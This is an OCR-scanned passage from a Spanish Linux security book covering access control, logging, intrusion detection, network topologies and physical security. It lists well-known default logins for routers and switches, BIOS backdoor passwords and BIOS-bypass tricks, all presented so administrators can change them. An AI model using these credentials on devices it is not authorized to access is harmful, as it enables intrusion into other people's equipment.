Lectura, escritura y ejecucion -
Lectura y escritura

Archivos

FIGURA 1.3
La cuenta raiz puede controlar la forma en que los usuarios acceden a'los archivos.

Dado que, a menudo, las organizaciones se dividen en departamentos y que es
posible que varios usuarios de dichos departamentos tengan que acceder a los mis-
mos archivos, Linux permite agrupar a los usuarios. De esta forma, cuando se defi-
nen permisos para determinados archivos y directorios, no es necesario hacerlo
para todos y cada uno de los usuarios. En la mayoria de los casos, cabe la posibili-
dad de definirlos por grupos. Véase la Figura 1.4.

Como muestra dicha figura, el Grupo A tiene acceso de s6lo escritura, mientras
que el Grupo B tiene acceso de lectura y escritura. Dicha gestion a nivel de grupo
resulta muy util cuando hay muchos usuarios y varios subconjuntos de usuarios
necesitan privilegios idénticos o muy parecidos.

NOTA

En el Capitulo 4, "Administracion basica del sistema Linux", puede obtener mas infor-
macion acerca del control de acceso a archivos y directorios en Linux.
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Grupo B

|Ectura, escritura y ejecuci()nJ

Sélo lectura

?
/]

Archivos

FIGURA 1.4
Los grupos son conjuntos de usuarios que tienen derechos de acceso similares.

Control de acceso a la red

Linux también proporciona control de acceso a redes o_la capacidad para per-
mitir a determinados usuarios y kosts conectarse entre si. Véase la Figura 1.5.

Como muestra esta figura, es posible implantar reglas de acceso a la red extre-
madamente refinadas. El Usuario A no se puede conectar, el Usuario B debe utilizar
una maquina determinada para poder conectarse y el Usuario C puede conectarse
libremente desde el lugar que desee.

Esta funcionalidad viene muy bien en los entornos de red o cuando el sistema
Linux es un servidor de Internet. Por ejemplo, permite mantener un servidor web
solamente para los clientes de pago. Posiblemente, la proteccién mediante contra-
sefia es una buena idea, pero si se quiere dar un paso mas, quizas se desee no per-
mitir que hosts no autorizados intenten conectarse. En Linux, muchos servicios de
red ofrecen esta funcion.

“'NOTA -

En el Capitulo 18, "Linux y firewall", puede obtener mas informacién acerca de las
capacidades de Linux para el control de acceso a redes.
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®

El usario A no puede
conectarse al servidor

El usuario B s6lo puede conectarse Servidor
desde una direccion |P determinada

O, -
El usuario C puede

conectarse desde
cualquier lugar

M

FIGURA 1.5
La cuenta root puede controlar quién tiene acceso al servidor.

Cifrado

Ademas de la administracion centralizada y del control de acceso a redes, Linux
proporciona una gran variedad de mecanismos de cifrado.

Cifrado es el proceso de mezclar los datos para que no puedan leerlos los que no tengan
autorizacién para ello. En la mayoria de los esquemas de cifrado, es necesario tener una
contrasefia para reorganizar los datos de forma que puedan leerse. El cifrado se utiliza
principalmente para mejorar la privacidad o para proteger informacién importante.

Por ejemplo, Linux ofrece varias opciones de cifrado punto a punto para prote-
ger los datos que circulan. La Figura 1.6 ilustra este proceso.

Habitualmente, cuando se transmiten datos a través de Internet, atraviesan
muchas gateways (pasarelas). En su camino, dichos datos son vulnerables a escu-
chas electrdnicas. Linux cuenta con varias utilidades complementarias que permi-
ten cifrar o codificar los datos para que si alguien los captura, s6lo vea un tremendo
galimatias.

Por ejemplo, como muestra la Figura 1.6, los datos de la tarjeta de crédito del
Usuario A se cifran antes de salir de su red interna y permanecen asi hasta que el
servidor de comercio los descifra. Este proceso protege a los datos de ataques y
posibilita un comercio electrénico seguro, algo que esta cobrando cada vez mayor
importancia.



Servidor de red interno

Datos de la tarjeta

de crédito %

Tarjeta de crédito con datos dtCr aaei
mezclados en transito ttCr

Servidor comercial
Varias redes a lo
largo de la ruta

FIGURA 1.6
Linux puede cifrar datos durante su circulacion, con lo que los protege de personas de fuera.

En el Capitulo 10, “Protecci6n de los datos en transito", y en el Capitulo 15, "Proto-
colos web seguros", obtendrd més informacién sobre las soluciones de Linux para el
comercio electrénico seguro.

Registro, auditoria y control de red integrados

Desgraciadamente, aunque se apliquen rapidamente todos los controles de
seguridad disponibles, a veces salen a la superficie nuevos puntos vulnerables. Los
intrusos rapidamente sacan partido de estas oportunidades mediante el ataque al
mayor ntimero de maquinas posible antes de que se arregle el agujero. Linux no
puede predecir cuando va a sufrir algtin ataque un host, pero puede registrar los
movimientos de la persona que realiza dicho ataque.

Linux tiene exhaustivas capacidades de registro. Por ejemplo, vea la Figura 1.7.

Como muestra la Figura 1.7, Linux detectara, marcara la hora y grabara las
conexiones de red. Esta informacion se redirige a los registros para su posterior
examen.
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» System Log

Servidor 1 @) El Usuario A se conecté al
Servidor 1 a las 9:45 a.m.

El Usuario A se conecté a la
Estacion de trabajo A a las

% 9:47 a.m.
———N

El Usuario A se conecté a la
Estacion de trabajo B a las
9:49 a.m.

9:47am.| [9:49am. ]

Estacioén Estacion
de trabajo A de trabajo B

FIGURA 1.7
Linux registra todas las conexiones entrantes.

La capacidad de registro es un componente vital de la arquitectura de seguridad
de Linux y proporciona la tnica evidencia real de que se ha producido un ataque.
Teniendo en cuenta que hay un gran nimero de metodologias de ataque distintas,
Linux graba registros a nivel de red, de kost y de usuario. Por ejemplo, Linux reali-
za las siguientes funciones:

¢ Registra todos los mensajes del sistema y del nicleo.

e Registra todas las conexiones de la red, la direccién IP de la que parte cada
una de ellas, su longitud y, en algunos casos, el nombre de usuario y sistema
operativo de la persona que realiza el ataque.

¢ Registra los archivos que solicitan los usuarios remotos.

e Puede registrar qué procesos se encuentran bajo el control de cualquier
usuario.

e Puede registrar todos y cada uno de los comandos que ha emitido un usua-
rio determinado.

Tenga en cuenta que muchos, pero no todos, de los servicios de red de Linux llevan
a cabo un registro profundo. Para obtener mds informacion acerca de las capacida-
des de registro de Linux, véase el Capitulo 20, "Deteccion de intrusiones".
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Los registros son indispensables cuando se investigan las intrusiones en la red,
aun cuando dichas investigaciones se realicen a posteriori. Sin embargo, dado que
Linux graba los registros en tiempo real, se podria pensar que debe de haber algu-
na forma en la que Linux responda a los ataques. Dicha forma existe y ahora vamos
a ver como se detectan las intrusiones en Linux.

Deteccidon de intrusiones

La deteccion de intrusiones es una ciencia relativamente nueva, por lo que hay
muy pocos sistemas operativos que incluyan herramientas de deteccion de intru-
siones. De hecho, hace muy poco tiempo que dichas herramientas se han introdu-
cido en las distribuciones estandar de Linux. Pero incluso en tan breve periodo de
tiempo, han mejorado considerablemente.

Entre las herramientas con que cuenta Linux y los complementos que pueden
descargarse de Internet, es posible establecer una avanzada capacidad de detec-
cion de intrusiones. Por ejemplo:

e Es posible hacer que Linux registre los intentos de intrusién y que avise
cuando se produzcan dichos ataques.

e Es posible hacer que Linux acometa acciones predefinidas cuando los ata-
ques cumplan unos criterios especificos (como, por ejemplo, si la persona
que ataca hace esto, haz esto).

e Es posible hacer que Linux distribuya desinformacién, como por ejemplo,
que imite a un sistema operativo que no sea Linux. La persona que lleva a
cabo el ataque pensara que esta desprotegiendo un sistema Windows NT o
Solaris.

De hecho, la mayoria de las distribuciones de deteccion de intrusos y de enga-
fios son conjuntos de herramientas. Por consiguiente, el inico limite a lo que haga
Linux cuando se produzca un ataque lo impone su imaginacion.

~ NOTA

En el Capitulo 20, "Deteccién de intrusiones", puede encontrar mds informacion
sobre las capacidades de deteccién de intrusos.

Todos estos mecanismos forman los componentes individuales de la compleja
arquitectura de seguridad de Linux. Uno a uno, es posible que no parezcan tan
extraordinarios, pero cuando se utilizan de forma conjunta, constituyen un exhaus-
tivo método global en lo relativo a la seguridad de redes.
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Resumen

Linux proporciona una total libertad técnica, unas infinitas posibilidades de
desarrollo, un networking extremo y una computacién muy fiel. Sin embargo, este
paquete tiene un precio. Como usuario de Linux, debe familiarizarse con la seguri-
dad de redes. A lo largo de este libro, vamos a examinar las caracteristicas de segu-
ridad de Linux y cémo distribuirlas. Pero antes, en el Capitulo 2, vamos a explicar
un tema que hasta cierto punto no sirve mas que para refrescar ideas: la seguridad
fisica.



Seguridad fisica

En este capitulo

Ubicacién del servidor y el acceso fisico a él.
Topologia de red.

Hardware de red.

Estaciones de trabajo y seguridad.
Resumen.
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La mayoria de los libros sobre seguridad actuales se centran en la seguridad en
red, ya que es un tema realmente candente. Sin embargo, algo que se suele pasar
por alto es que los servidores son mas vulnerables a los ataques fisicos que a los
remotos. Los culpables mas frecuentes son:

e Usuarios locales malintencionados.

Vandalos.
e Ladrones.
¢ Otras criaturas que surgen en la noche.

De hecho, no sélo es mas probable que ataquen a un servidor con un hacha que
mediante una utilidad de spoofing, sino que cuando esta tragedia ocurre, los efectos
posteriores pueden ser mucho mas devastadores. Si revientan un sistema de forma
remota, siempre se puede reiniciar, reinstalar o reconfigurar, pero si ha sido dana-
do o puesto en peligro fisicamente, el problema puede ser mas serio.

Estos son los motivos por los que la seguridad fisica debe ser su primer objeti-
vo. Pese a que muchas medidas de seguridad fisica parecen obvias (puesto que la
mayoria de ellas se basan en ejercitar el sentido comun), sistematicamente los
usuarios no las aplican.

Reconociendo este hecho, es el momento de hacer un breve curso recordatorio
de la seguridad fisica basica de las computadoras. Vamos a estudiar desde fuera:

¢ Ubicacion del servidor y el acceso fisico a él.
¢ Topologias de red.

¢ Contraseiias de BIOS y de consola.

¢ Controles biométricos de acceso.

e Hardware de red.

o Seguridad general del hardware.

Ubicacion del servidor y acceso fisico a él

Los dos aspectos mas importantes son: el lugar en que se encuentra ubicado el
servidor y las personas que tienen acceso fisico al mismo. Los especialistas en
seguridad llevan mucho tiempo sosteniendo que si usuarios malintencionados tie-
nen acceso fisico, los controles de seguridad son intiles y dicha afirmacién es total-
mente cierta. Salvo raras excepciones, casi todos los sistemas de computacion son
vulnerables a ataques in situ.

Desde luego, ataque puede significar muchas cosas en este contexto. Por ejem-
plo, imagine que ha dejado a algin usuario malintencionado solo con sus servido-
res durante 10 segundos, es muy probable que éstos sufran daios importantes en
ese intervalo de tiempo. El usuario podria realizar un rudimentario ataque de dene-
gacion de servicio desconectando cables, desconectando hardware de red o reini-
ciando los servidores.
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La denegacién de servicio es un estado que se produce cuando un usuario deja ino-
perativo un servidor de forma malintencionada haciendo que deniegue el servicio a
usuarios legitimos. Puede obtener mds informacién al respecto en el Capitulo 17,
"Ataques de denegacion de servicio".

Pero estos actos casi nunca se dan en oficinas. Su mayor preocupacion deberian
ser los usuarios locales autorizados, aquéllos que tienen al menos autorizacion limi-
tada para acceder al sistema. Se ha estimado que el 80% de las intrusiones provie-
nen del personal interno. El motivo es que este personal tiene acceso a informacion
que los agresores remotos a menudo no pueden obtener.

Pero ésta no es la tinica ventaja que tiene el personal interno. La confianza es
otra mas. En muchas empresas, los empleados de confianza deambulan libremente
sin temor a que les hagan preguntas. Después de todo, se supone que estan en su
sitio y a nadie se le ocurre cuestionar su presencia, a menos que entren en un area
restringida. Asi que, ¢como se puede proteger un sistema frente a los enemigos
internos?

Las agencias gubernamentales y los proveedores de servicios de Internet tie-
nen una amplia experiencia en esta materia y merece la pena seguir su ejemplo. Si
el sistema es para toda una empresa, se puede planificar un centro de operacio-
nes de red (NOC).

El centro de operaciones de red (NOC)

Un NOC es un drea restringida en la que se encuentran los servidores. Estos
suelen estar asegurados con pernos, fijados a bastidores o asegurados de alguna
otra manera, junto con el hardware de red esencial.

Idealmente, un NOC deberia ser una oficina independiente a la que tuviesen
acceso muy pocas personas. Aquellas personas que estén autorizadas deberian
tener claves. (Un buen método es el uso de tarjetas de acceso que incluso restrin-
jan el acceso de los usuarios autorizados a ciertas horas del dia.) Por tltimo, mere-
ce la pena llevar un registro escrito de acceso y ordenar que incluso el personal
autorizado firme al entrar y al salir.

Asegtirese también de que el NOC o sala de computadoras cumple los siguien-
tes requisitos:

¢ Debe encontrarse dentro de otro espacio de la oficina y alejado del pablico;
es preferible que no se encuentre en la planta baja.

e Lasalay los pasillos que conducen a ella deben ser totalmente opacos: sin
puertas de cristal.

e Las puertas de acceso deben tener un blindaje que incluya el cerco de la
puerta. Esto evita que los intrusos fuercen la cerradura.



|25

* Si se emplea vigilancia (circuito cerrado de TV o imagenes instantaneas
secuenciales), dirija la sefial desde la cAmara a un VCR remoto. Esto le garan-
tiza que aunque los ladrones daifien el equipo y se lleven la cinta, seguira
teniendo pruebas.

e Mantenga todos los dispositivos de almacenamiento en un lugar seguro, o
auin mejor, en un lugar distinto.

Ademais, hay que promulgar estrictas normas escritas que prohiban al usuario
medio entrar al NOC. Dichas normas deberian incluirse como clatisulas en los con-
tratos de trabajo. De esta forma, todos los empleados las conoceradn y sabran que si
las violan pueden enfrentarse a un despido.

En los siguientes documentos, puede encontrar normas mas especificas:

* A Survey of Selected Computer Policies from Institutions of Higher
Education al Brown University. Contiene un buen compendio de restime-
nes sobre politicas de seguridad de varias instituciones. Estd en
http://www.brown.edu/Research/Unix_Admin/cuisp/.

¢ CAF "Academic Computing Policy Statement Archive" at the Electro-
nic Freedom Foundation. Es un conjunto de archivos interesante en el
que se examinan y se someten a critica las politicas de muchos colegios.
Naturalmente, como EFF es un grupo de presion, su critica muestra a menu-
do agujeros, inconsistencias o ambigiiedades en politicas. Esto es probable-
mente mas atil para determinar lo que no hay que hacer. Se encuentra en
http://www.eff.org/pub/CAF/policies/.

¢ Site Security Handbook, Request for Comments 2196 / FYI 8. Esta
version actualizada (septiembre de 1997) abarca muchos puntos de interés.
Se encuentra en ftp://nic.merit.edu/documents/fyi/fyi8.txt.

¢ The San Francisco State University Computing and Communications
Services Security Guide. Un buen ejemplo de politica, que se encuentra en
http://www.sfsu.edu-helpdesk/docs/rules/security.htm.

Topologia de red

La topologia de red se compone de la distribucién de la red, sus distintos com-
ponentes y la forma en que se conectan entre si. Dado que la topologia de red deter-
mina el modo en que se conectan los dispositivos de hardware y la forma en que flu-
ye la informacion a través de dichas conexiones, tiene claras implicaciones de
seguridad. Esta seccion se centrara brevemente en dichas implicaciones y en cémo
minimizar el riesgo.

Topologias de red seleccionadas

Existen muchas topologias de red, pero hay tres especialmente frecuentes en
las redes de area local:
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e Bus.
¢ Anillo.
o Estrella.

Al elegir una de estas topologias, hay que tener en cuenta tres riesgos principales:

¢ Punto tnico de fallo: es un punto (un servidor, un sub, un cable o un rou-
ter) al que se conectan uno o varios dispositivos de red. Si este punto de
conexion falla, una o varias estaciones de trabajo pierden su conexion a la
red. Toda red tiene al menos un punto de fallo. En las redes con misiones cri-
ticas su tarea consistira en minimizar los efectos de una salida de las mismas
(en otras palabras, un control de dafios). Como podra comprobar, las dife-
rentes topologias imponen diferentes limitaciones al respecto.

¢ Susceptibilidad de "escucha electrénica™: es la practica de captura subrep-
ticia del trafico de red. Todas las topologias son susceptibles de sufrir escu-
chas electrdnicas en cualquier grado. Sin embargo, algunas topologias son
mas susceptibles que otras. (Para obtener mas informacion acerca de las escu-
chas electrénicas, véase el Capitulo 7, "Sniffers y escuchas electronicas".)

¢ Tolerancia a fallos: en este contexto, ésta es la capacidad de la red para
"recibir una paliza y seguir en liza". Si falla una, dos o cinco estaciones de tra-
bajo, ¢seguiran funcionando las restantes? Si la red es tolerante a fallos, la
respuesta es si.

Topologia de bus

En la topologia de bus (también llamada topologia de bus lineal), un tnico flu-
jo de datos (backbone de la red) soporta a todos los dispositivos de la red. Véase la
Figura 2.1.

Las redes de bus tipicas se apoyan en una backbone ininterrumpida de cable coa-
xial. Esto implica dos puntos tnicos de fallo: el servidor y la backbone. Si falla cual-
quiera de ellos, todas las estaciones de trabajo perderan su conexion a la red.

¢Es este tipo de red tolerante a fallos? Depende de si cada estacién de trabajo tie-
ne una instalacion completa del sistema operativo de red y las aplicaciones necesa-
rias para ejecutar tareas criticas. En caso contrario, la red no es tolerante a fallos.

Hace unos afios, dichas redes no eran probablemente tolerantes a fallos. La con-
figuracion descrita en la Figura 2.1 era comun a las redes Novell NetWare de anta-
fio. La configuracioén tipica era un servidor de archivos acompanado por clientes sin
unidad de disco o estaciones de trabajo. Cuando estas estaciones de trabajo per-
dian la conexidn a la red, el trabajo se detenia.

Los clientes sin disco o terminales son maquinas con el minimo de software impres-
cindible, normalmente un disquete de arranque o firmware que puede llamar a un
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servidor de arranque y recibir comandos de arranque. Dichas mdquinas no tienen
aplicaciones locales y pueden, incluso, funcionar sin unidad de disco duro.

Servidor
Punto unico
de fallo
Estacion Estacién Estacion
de trabajo de trabajo de trabajo

Punto Unico
de fallo

Cable coaxial

2

Estacioén Estacién
de trabajo de trabajo

FIGURA 2.1
Topologia de bus.

Por otro lado, si todas las estaciones de trabajo de la Figura 2.1 tuvieran una ins-
talacion completa de Linux, una parte del trabajo podria continuar incluso aunque
la backbone hubiese fallado.

En cualquier caso, por diversos motivos la topologia de bus no es la mejor
opcién. En primer lugar, si va a encadenar una red Linux, es probable que desee uti-
lizar la tecnologia cliente-servidor (quiza en una intranet). Las redes en bus propor-
cionan un rendimiento muy pobre en estos entornos. Las backbones en bus conven-
cionales solo gestionan las transmisiones de una en unay presentan una alta tasa de
colisiones, lo que es incompatible con las érdenes de transaccién cliente-servidor o
las conexiones constantes entre hosts. Un gran trafico web sobre una red en bus, por
ejemplo, podria dar lugar a una degradacion del rendimiento.

Ademas, dado que el trafico de red esta confinado en un solo cable, es dificil
solucionar problemas de exceso de trafico, colision de paquetes y paquetes ignora-
dos. Este hecho se agrava por la carencia de control centralizado que se puede
lograr a través de hubs o switches inteligentes.

Por ltimo, la topologia en bus es muy sensible a escuchas. Exceptuando el uso
de controles adicionales, cualquier estacién de trabajo de la Figura 2.1 podria inter-
ceptar transmisiones dirigidas a cualquiera de sus homologas.
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Asi que, si todo esto es cierto, ¢por qué se utiliza la topologia en bus? Porque es
rapida, barata y razonablemente eficaz, una estupenda solucion para redes domés-
ticas cerradas.

Topologia en anillo

En la topologia en anillo vuelve a haber un tnico alimentador de red al que estan
conectadas todas las maquinas. Véase la Figura 2.2.

Servidor

Punto Gnico

de fallo Punto dnico

de fallo

Estacion
de trabajo C

Estacién
de trabajo A

Estacion
de trabajo B

FIGURA 2.2
Topologia en anillo.

Al igual que en la topologia en bus, la topologia en anillo mantiene al menos dos
puntos de fallo: el servidor y el cable. Si cualquiera de ellos deja de funcionar, todas
las estaciones de trabajo pueden perder la conexién a la red.

Sin embargo, en este escenario hay otros fallos que también pueden interrum-
pir la red. Mientras que en la topologia en bus no se corre generalmente ningtn
riesgo si fallaba una estacién de trabajo, en la topologia en anillo si puede haberlo.
En la topologia en anillo, las maquinas funcionan como repetidores. Por ejemplo,
un mensaje enviado desde el servidor a la Estacion de trabajo C podria muy bien
tener que pasar por las estaciones de trabajo A, By, finalmente, por C. De ahi que,
si fallan el servidor y la Estacion de trabajo B, es posible que las estaciones Ay C
no puedan transmitir mensajes, y viceversa. Si dejan de funcionar las estaciones de
trabajo Ay C, se puede interrumpir la conexién entre el servidor y la Estacién de
trabajo B.



Entre las excepciones se encuentran las redes con interfaz de datos distribuidos por
fibra (FDDI).

Como ya habra deducido, la topologia en anillo ofrece varias entradas para los
agresores. En primer lugar, pueden llevar a cabo facilmente ataques de denegaciéon
de servicio sin mas que echar abajo determinadas estaciones de trabajo. Y lo mas
importante es que, como los mensajes se pasan en la misma direccion y pueden
atravesar muchas estaciones de trabajo en su recorrido, la topologia en anillo es
muy vulnerable a escuchas electronicas.

Topologia en estrella

Lo que distingue fundamentalmente a la topologia en estrella de la topologia en
anillo o en bus es su centralizacion. En la topologia en estrella, todas las estaciones
de trabajo del segmento en uso se conectan a un solo dispositivo de hardware, nor-
malmente un switch o un hub. Véase la Figura 2.3.

Estacion
de trabajo

Estacién
de trabajo

Estacion
de trabajo

) [6o] I -« Conectividad centralizada

[}

Servidor

Punto Unico
de fallo

Estacion
de trabajo

FIGURA 2.3
Topologia en estrella.

Esto puede activar la gestion individual y la resolucién de problemas en el flujo
de datos de cada estacion de trabajo. También, a diferencia de las redes en anillo,
las redes en estrella pueden sobrevivir a un fallo de varias estaciones. Aunque falla-
ran las tres estaciones de trabajo, la cuarta continuaria operando sin problemas. Y
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si las estaciones de trabajo estuviesen ajustadas adecuadamente, dicha configura-
cion puede ser bastante tolerante a fallos.

Ademads, las redes en estrella ofrecen importantes ventajas de seguridad sobre
sus equivalentes en bus y anillo. Con un hardware de red avanzado, se puede llevar
a cabo una refinada segmentacion (dividiendo la red en islas) y proteger el flujo de
datos de cada estacién de trabajo de escuchas mediante cifrado.

Desde luego, las redes en estrella también tienen sus desventajas. Una de ellas
es que la centralizacion ofrece un unico punto de fallo critico. Si los agresores dejan
fuera de servicio el hardware de la red, pueden inhabilitar segmentos completos.
Ademais, el rendimiento de las redes en estrella puede empeorar bajo grandes car-
gas, sobre todo si utiliza hubs de acceso por contienda en lugar de switches que sepa-
ran los anchos de banda. Esto se debe a que cada transmisién debe pasar a través
de una estacién central.

Resumen de la seguridad de las topologias

Antes de elegir una topologia, hay que tener en cuenta muchos factores, entre
los que se incluyen:

¢ Sj las estaciones de trabajo van a tener un software local.
e Otros sistemas operativos de red que podria utilizar.

¢ Los protocolos que van a funcionar en la red.

¢ Los requisitos de ancho de banda y distancia.

Recomendamos la topologia en estrella y, si se lo puede permitir, un hardware
de red inteligente. En cualquier caso, he aqui algunas indicaciones para reducir al
minimo el riesgo:

¢ Elija una topologia o implementacion de red que ofrezca una gestiéon y una
resolucién de problemas centralizadas de la conexién.

¢ Silared es grande, dividala en segmentos, ya que ello permite una mejor
gestion y mayor seguridad al limitar hasta donde puede llegar un fallo de
seguridad.

¢ Diseiie la red con tolerancia a fallos y pensando en posibles fallos. Cuando la
configure, intente limitar los puntos de fallo al minimo posible.

¢ Aisle el hardware de los usuarios sacandolo de las areas comunes.

¢ Aisle el cableado. Si es posible, lleve el cableado principal de la red a través
de las paredes y proporcione conexiones mediante latiguillos de cable blin-
dado en cada puesto. Esto ayudara a prevenir intervenciones encubiertas de
la red. (Muchas empresas llevan su cableado por el falso techo. Intente no
hacerlo. En los edificios con varias oficinas, todos los vecinos de la misma
planta comparten este espacio. Cualquiera de una oficina adyacente podria
subirse facilmente a una escalera, levantar los paneles del techo y tropezar
con su cableado.)
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¢ Si puede pagarlo, utilice hardware y software con posibilidad de cifrado en
toda la LAN.

Hardware de red

La seguridad del hardware de red es otro tema de vital importancia. Los erro-

res cometidos a este nivel pueden llevar al desastre. Para comprenderlo, véase la
Figura 2.4.

Punto critico
de ataque

Router

El mundo
exterior (Internet
u otros
segmentos
de red)

PO000

FIGURA 2.4
El hardware de [a red forma pasarelas al mundo exterior.

Como muestra la Figura 2.4, el router es un punto critico de ataque, una pasare-
la a través de la que los usuarios se comunican con el exterior y viceversa. Si los

agresores consiguen colapsar los routers, switches o hubs, pueden denegar el servi-
cio a mucha gente.

NOTA

Compare esto con los ataques a sistemas operativos especificos de red. Suponga que
una red estuviese compuesta por tres maquinas Linux, tres maquinas Windows y tres
Macintosh. Imagine también que unos agresores han efectuado un ataque de dene-
gacion de servicio dirigido a los sistemas Windows. Si dicho ataque tiene éxito, hard
que fallen tres estaciones de trabajo, pero no afectard a las otras seis estaciones. Por
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el contrario, si los agresores hacen que falle el router (un punto Gnico de fallo), toda
la red quedara inutilizada.

Medidas habituales de seguridad
para el hardware de red

Puede evitar poner en peligro el hardware de red empleando algunas précticas
de sentido comun. En la mayoria de los casos, estos pasos seran suficientes, ya que
los problemas de los puntos vulnerables del hardware de red no son habituales
comparados con los del software.

En la mayoria de los casos, el riesgo del hardware de red se produce por erro-
res del operador. Muchos usuarios no activan el cifrado o no definen contrasefias de
administracién, de mantenimiento o de los usuarios, lo que deja la configuracion del
hardware intacta, como sali6 de fabrica, y abre el sistema a ataques.

La Tabla 2.1 enumera las posibles vias de ataque que se atribuyen a la configu-
racion predeterminada o a los puntos vulnerables del hardware.

Tabla 2.1 Problemas habituales de contrasenas del hardware de red

Hardware Problema

Switches 3Com El login (debug) y la contrasefia (synnet) de mantenimiento
de varios switches 3Com, incluyendo CoreBuilder y Super-
Stack II, son muy conocidos. Cambielos o péngase en contac-
to con 3Com en http://www.3com.com para obtener mas
informacion.

Ericsson Tigris Algunos routers Ericsson Tigris permiten a usuarios remotos
enviar comandos de validacion sin autenticarlos, lo que se ha
corregido a partir de la versién 11.1.23.3. Si su version es ante-
rior, actualicela o visite ACC en http://www.acc.com, donde
encontrara mas informacion.

Ascend Pipeline/MAX Las contrasefias predeterminadas de Pipeline y MAX de
Ascend son muy conocidas. Para aprender a cambiarlas, dirija-
se a: http://www.ascend.com/2694.htmi.

Bay Networks Algunos productos de Bay Networks tienen una cuenta sin con-
trasefia. Esta informacién ha sido ampliamente distribuida.
Compruebe los suyos; la cuenta es User. Si le pasa a modo inte-
ractivo, defina una contrasefa para la cuenta.

Adaptadores BreezeCom  Algunos adaptadores de estacién de BreezeCom tienen contra-
sefias codificadas en hardware que no se pueden cambiar.
Estas contrasefias han sido ampliamente distribuidas. Como
las contraseflas van codificadas en hardware, no se puede
hacer nada.
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Tabla 2.1 Problemas habituales de contrasefias del hardware de red  (continuacién)

Hardware

Problema

Catalyst 1800

105 9.1 de Cisco

Compaq Netelligent

DCM BRASX/101

Develcon Orbitor

Digital ATMswitch

FlowPoint 2000

Motorola CableRouter

SmartSwitch

Shiva VPN Gateway

WebRamp M3

La contraseiia predeterminada del Catalyst 1800 de Cisco es
muy conocida. Cambiela.

El hardware que ejecuta I0S 9.1 puede dejar escapar cadenas
de transmisiones recientes, incluyendo contrasefias. Actualice-
lo a la ultima version.

La contrasena predeterminada del Compaq Netelligent 8500
(superuser) es muy conocida. Cambiela.

La contrasefia predeterminada del Data Comm for Business
BRASX/101 es muy conocida. Cambiela.

Las contrasenas predeterminadas del bridge y del router de
Orbitor (password y BRIDGE) son muy conocidas. Cam-
bielas.

Los nombres de usuario y las contraseiias predeterminadas del
ATMswitch 900F son muy conocidos. Si aun no los ha cambia-
do, hagalo ahora.

Algunos routers FlowPoint 2000 DSL utilizan como contrasefia
predeterminada admin. Asegtirese de cambiar la suya.

Los productos Motorola CableRouter son vulnerables a ata-
ques directos a través de login y de la contrasefia predeter-
minada. Los agresores inician una sesién de telnet con el
puerto 1024, introduciendo cablecom como login y router
como contrasefia. Cambie estos valores y actualice si es
necesario.

La contrasefia predeterminada de SmartSwitch Backup
SBU6C y SBU14C (de Cabletron) es muy conocida. Cambiela.

Las contrasenas predeterminadas de Shiva VPN Gateway (shi-
va o isolation) son muy conocidas. Cambielas.

El router WebRamp M3 permite conexiones remotas a través
de telnet incluso después de haber deshabilitado esta funciona-
lidad. Asegtirese de cambiar la contrasefia de administracién
inmediatamente.

Asegtrese también de aislar el hardware de red de los usuarios locales en los
que no confie. Muchos routers, bridges y switches proporcionan los medios para rea-
lizar recuperacion iz situ de la contrasefia.

Los usuarios no controlados que tengan acceso fisico pueden acometer este pro-

cedimiento.
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‘NOTA |

Existen técnicas variadas de recuperacién de contrasefias. En algunos casos, los agre-
sores pueden llevar a cabo la recuperacidn en el acto. En otros, tienen que conectar
primero un terminal sin CPU o un PC al router. Desde ahi, pueden forzar un arran-
que utilizando la memoria flash y reinicializar la unidad. Como resultado de esta
operacién, el router hace caso omiso de los valores almacenados y los agresores pue-
den ver o cambiar la contrasefia. Para realizar todo este proceso, los agresores nece-
sitan estar solos durante un dilatado periodo de tiempo, lo que hace que dicho ata-
que sea dificil de ejecutar. Sin embargo, los procedimientos de recuperacion existen,
por lo que deberfa permitir el acceso fisico al hardware de red sélo al personal auto-
rizado. (Para obtener mas informacidn sobre éstos y otros ataques, véase el Capitulo
5, "Ataques de contrasena".)

Resumen del hardware de red

Por tltimo, presentamos aqui una serie de pasos que hay que seguir siempre
que se instale hardware de red, ya sea nuevo o usado:

Defina las contrasefias de administracién, de mantenimiento y de los usua-
rios para evitar que los agresores puedan acceder a través de los valores pre-
determinados. Ademas, asegurese de que dichas contrasefias no coinciden
con otras contrasefias administrativas de la red.

La mayoria de los routers (y algunos switches) admiten cifrado, pero no lo
emplean por defecto. Asegurese de que tiene activado el cifrado.

Si no necesita el control remoto de administracion (acceso mediante felnet),
desactivelo.

Si el hardware de red tiene puertos sensibles, filtre y bloquee el acceso a ellos.
Si el hardware de red cuenta con opciones de verificacion por expiracion del

tiempo de espera o por sesiones, utilicelas, ya que evitaran que los agresores
puedan tomar el control o burlar las sesiones.

Estaciones de trabajo y seguridad

Cuando se aseguran estaciones de trabajo, hay que preocuparse principalmente
del acceso fisico y del robo. Entre las herramientas de prevencion tipicas que se uti-
lizan se incluyen:

Contrasefias de BIOS y consola.

Controles de acceso biométrico.

Seguridad del modem.

Dispositivos antirrobo.

Dispositivos que marcan, identifican o hacen seguimientos de objetos robados.
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Contrasenas de BIOS y consola

La mayoria de las arquitecturas (como X86, PPC o Sparc) utilizan contrasefias
de BIOS-PROM, contrasefias de consola o de ambos tipos. Los fabricantes de hard-
ware incluyen estos sistemas de contrasefias como una capa extra de seguridad, un
obstaculo para disuadir a los usuarios esporadicos de fisgonear.

Las contrasenas de la BIOS o de la PROM evitan que los usuarios malintencio-
nados accedan a la configuracion del sistema, mientras que las contraseiias de con-
sola suelen proteger los perfiles de usuario de la estacién de trabajo. En cualquier
caso, estos sistemas de contrasefias son, al menos, parcialmente efectivos y es con-
veniente usarlos siempre que le sea posible.

Sin embargo, no hay que olvidarse de establecer la contrasefia de configuracion
y de usuario, ya que si no lo hace, podria acabar lamentandolo. Actualmente, las
teclas y contrasenas predeterminadas de configuracion de la BIOS de casi todos los
fabricantes son muy conocidas. La Tabla 2.2 muestra algunas de ellas.

Tabla 2.2 Teclas de entrada y contrasefas bien conocidas de BIOS

Fabricante Tecla de entrada o contrasefia predeterminada
American Megatrends Incluye AMI y AMI_SW.
Award Incluye 589589, Award, AWARD, AWARD_SW y J262.

Teclas de entrada genéricas Incluyen F1, F3, Ctrl+F1, Ctrl+F3, Ctrl+Mayuds+Esc, Supr,
Ctrl+Alt+Ins, Ctrl+Alt+S.

IBM Aptiva Los agresores pueden ignorar la contrasefia de la BIOS
presionando repetidamente los dos botones del ratén
durante el arranque.

Toshiba Algunos modelos permiten al operador ignorar la contrasefia
de proteccién de la BIOS manteniendo pulsada la tecla Mayts.

Asegurese también de que la contrasefia no coincida con otras que utilice en la
